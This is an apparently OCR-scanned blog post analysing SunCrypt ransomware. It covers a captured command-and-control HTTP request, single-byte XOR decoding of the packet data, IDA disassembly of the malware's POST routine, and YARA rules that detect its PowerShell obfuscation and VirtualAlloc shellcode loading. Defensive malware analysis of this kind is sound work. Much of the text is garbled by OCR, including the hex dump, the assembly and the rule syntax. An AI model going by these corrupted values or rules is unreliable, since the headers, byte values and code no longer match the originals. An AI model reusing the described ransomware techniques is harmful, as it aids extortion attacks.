User-Agent: Hozillass, 0 (windows KT 10, 0; winbd; x6) Applewebsit /537,36 (ML, Tike Geckod Chrome/ 84, 0,447, 8% Safari /537, 36 Edg8d. 0, 522 400run
Host: 01, 718,114, 30hrhn

w Content-Length: 112%r\n
Cacke-Contral: mo-cachsy,ryn
WP

IFull request VRIS hitpc/ 31, FIE. 114, 300

[HTTF reguest 1/1]

Data {112 Bytes)
Data; 1910034 12429700 2L 2L 02928257 523124247 2T T 24073, .,
[Length: 1121

If we look at the data that gets dumped from the packet we see this.
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So as a guess | checked to see if it had a single byte xor key and to my surprise it did.
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The same one as the rest to decode with, 0x11.

&) Untitled]
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.P58a50018924d2
00000010 30 35 35 63 66 35 30 62 35 33 33 38 37 34 38 33 055c15ﬂb53381433
00000020 34 34 61 36 31 30 30 35 33 34 64 B3 36 66 36 64 44a6l00534dceféed
00000030 &6 37 36 30 34 37 34 30 63 36 39 €5 34 61 32 61 1£7604740c69%edaia
00000040 36 €1 39 33 62 39 31 63 62 66 35 36 66 32 36 32 6a93b9lcbfSefiel
00000050 1 61 32 3% 18 01 20 06 28 Bl 3B 30 01 34 05 61 1la29..
D0000060 €4 6D 69 6E 4A 07 55 73 65 72 2D 50 43 50 DS 07 dmind.User-PCPO.

AE0.z .2
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Does this passed hex value look familiar ? It is from the section where the IP was extracted.

What is it? | do not know. If someone does please let me know.

One other thing while | was not initially able to find the IP, | dropped this into IDA to see if |
could figure out how it worked.

Seeing this ..

| Y
. Ww=
loc_d419631: loc_419718:
iy al, [ecx+1] push 1=
ime e lea enx, [ebprszServertiane]
test ol al mov ecx, offset szServerMese ; “B.5.8.8°
jnz short loc_419621 push A% 3 dmt
lea eax, [ebpevar_16C]
push eax ; imt
call  sub_413800
add esp, 8Ch
test eax, eax
jnz loc_a19648
push  ecx
lea eax, [ebp+szServeriame]
may ecx, offset aSB44 ; "5.5.4.47
pushi eax ; oint
lea eax; [ebp+var_16L]
push eax ; int
call sub_S19808
add esp, Bk
test ehx, epx
jnz loc_41964E
|
Yy L J
=
L4
loc_419639: eax, [ebprszServeriinme]
L 1Fh ecx, offset abnsAlldnsCom ; “drs.alidns.com®
eax, [ebpevar_160) A : int
eax ean, [ebpevar 1eC]
eax; [ebp+szServerName] eax ; int
£ eax sub_d158868
sub_4a3168 esp, @Ch
esp, BCh N, S&X
loc_41964E
I |

IEEX!

L]

F e

L00.00% [=183,1768) (337,610) OOOLOSBF 000C000000419%BF: wub S19540+7F

And this..
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e MK, YR - L g | L SULL L e e ] Liad R=RbiEY Edl | LIEI LITRRN L5

= L T
push 1Fh mov ecx, offset aDnsAlidnsCom ; “dns.alidns.com™
lea eax, [ebp+var_16C] push eax ; int
push eax lea eax, [ebptvar 16C]
lea eax, [ebp+szServerName] push eax ; int
push eax call sub_419888
call sub_48316@ add esp, aCh
add es5p, @Ch test eax, eax

jnz loc_41964E

11

— R

loc_41964E: loc_41977E:

cmp [ebp+UrlComponents.nScheme], 4 pop edi

mov eax, 84333188h pop esi
push a ; dwFlags xor al, al
push a ; lpszProxyBypass pop ebx
push @ ; lpszProxy mov esp, ebp
push a 5 dwAccessType pop ebp
mov esi, 34833106h retn

mov [ebp+dwBufferLength], 188h sub_419548 endp
push offset szAgent ; "Mozilla/5.@ (Windows NT 18.8; Wins4; x6™...

cmovz  esi, eax

call ds:InternetOpend

push a ; dwContext

push a ; dwFlags

push 3 ; dwService

push <] ; lpszPassword
push a ; lpszUserName
push dword ptr [ebp+UrlComponents.nPort] ; nServerfPort
mov edi, eax

lea eax, [ebp4szServeriame]

push eax ; lpszServerName
push edi ; hinternet

call ds:InternetConnectd

push @ ; dwContext

push esi ; dwFlags

push a ; lplpszAcceptTypes
push @ ; lpszReferrer

push  offset szversion ; "HTTR/1.1°
push [ebp+UrlComponents.lpszUrlPath] ; lpszObjectName

mov [ebp+hInternet], eax

push offset szverb ; "POST”
push eax ; hConmnect
-=1% [ R I N ———

{917,676) 000185BF 000000000041956BF: sub_419540+7F

Was still no help to figure out what was passed.

I’'m sure the IDA Experts could tease out the information quick but that is something else |
still need to learn.

While working on this and needing more samples to compare | also wrote a yara rule to
detect the obfuscation format. The open source one will detect the base 64 encoding
method.

ruls Find_sunCeypr_PS_scripe |
maTa:

3 description = *Find Powershell SunCrypt Ransomware™

4 author = "David Ladbecter fladcechi”

i sETings:

7 SRegiBatches = T([zegex] s :Macches (™ Fffoged o find multiple imstances used in the sbfuscatieon
$Byteconvert = =[Byte[]]~ 4/ wsed to find where the bytes get converted
F5ubstring = ".Substring(ll, 2000)" £ the 21000 seem %o be a standard cutoff point 11 could be random from O to ¥
SViccualAllos = "::VizcualAlloc™ £ Zile will contain 2 aczing like thia 1 for the shell code and 1 for the FanscEavwae

k! condition:

12 VRegatches > 10 and $Byteccnvert and $5ubString and $vVirtualAlleoc

13

i 1

This first version will search for substring as a string and only has to be found once since the
value is “11” in the string.
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Il.crrds:n’rvp _P5_Script |
BT
description = "Find Fowershell SunCrypt Ranscaware™
author = “David Ledrsttar Qladrachi™

steings:
SRegiMatches = "{[regex]::Matches{” ffused to f£ind multiple instances used in the cbfuscation
FBytecomvert = "[Byte[]] f¢ uaed to '."-"d where the bytas get cor from basadd
$5ubString = [2E537S56273IT4T2696EET2E 2\2 3233333] 8) S JBubstring (16 the 16 is a random walue 2000 seems standard.

rrualilloc = "::Virtualhlloe™ le will comtaim 2 scein

like this 1 for che ahell code amd 1 for the ranscmware

#Rag¥Macches > 10 and SByteconvert ard #3ubdString > 10 amd 5VircualRlleoe

This version will search for the “Substring” string as bytes but allow for multiple possible
values in the start point for the substring.

Well that is pretty much as far | can go on this.
Possible future research.

Set up a vm with Sysmon and PowerShell logging enabled as suggested by Lee Holmes
here and run the sample to see what the logs will show me.

Take a closer look and learn how the encryption works.

Links:

I_

k o Acronis Blog post

t
to Sapphire Blog post

to Anyrun for the extracted ransomware
to Anyrun for PowerShell sample

to tri.age Search

W W W

I_
X

—

ink to my Github for Files

"_ ‘
=~

for open source yara rule for the binary
for open source vyara rule for finding the PowerShell script

—
W

—

ink for working with CyberChef Assembly
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https://pcsxcetrasupport3.files.wordpress.com/2021/03/myyar-2.png
https://twitter.com/Lee_Holmes/status/1374054110551404546
https://www.acronis.com/en-us/blog/posts/suncrypt-adopts-attacking-techniques-netwalker-and-maze-ransomware
https://sapphirex00.medium.com/diving-into-the-sun-suncrypt-a-new-neighbour-in-the-ransomware-mafia-d89010c9df83
https://app.any.run/tasks/361a1a77-b3ab-4d91-8bbf-428c16175953/
https://app.any.run/tasks/8a42f254-0299-4f42-9da3-4776957f6c65/
https://tria.ge/s?q=md5%3Ad87fcd8d2bf450b0056a151e9a116f72
https://github.com/PCsXcetra/FilesForSunCryptBlogPost
https://github.com/kevoreilly/community/blob/0de1bf900f78aea160a61caf48d7a525695046fb/data/yara/CAPE/SunCrypt.yar#L1
https://github.com/advanced-threat-research/Yara-Rules/blob/master/ransomware/RANSOM_Suncrypt.yar
https://gchq.github.io/CyberChef/#recipe=Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)

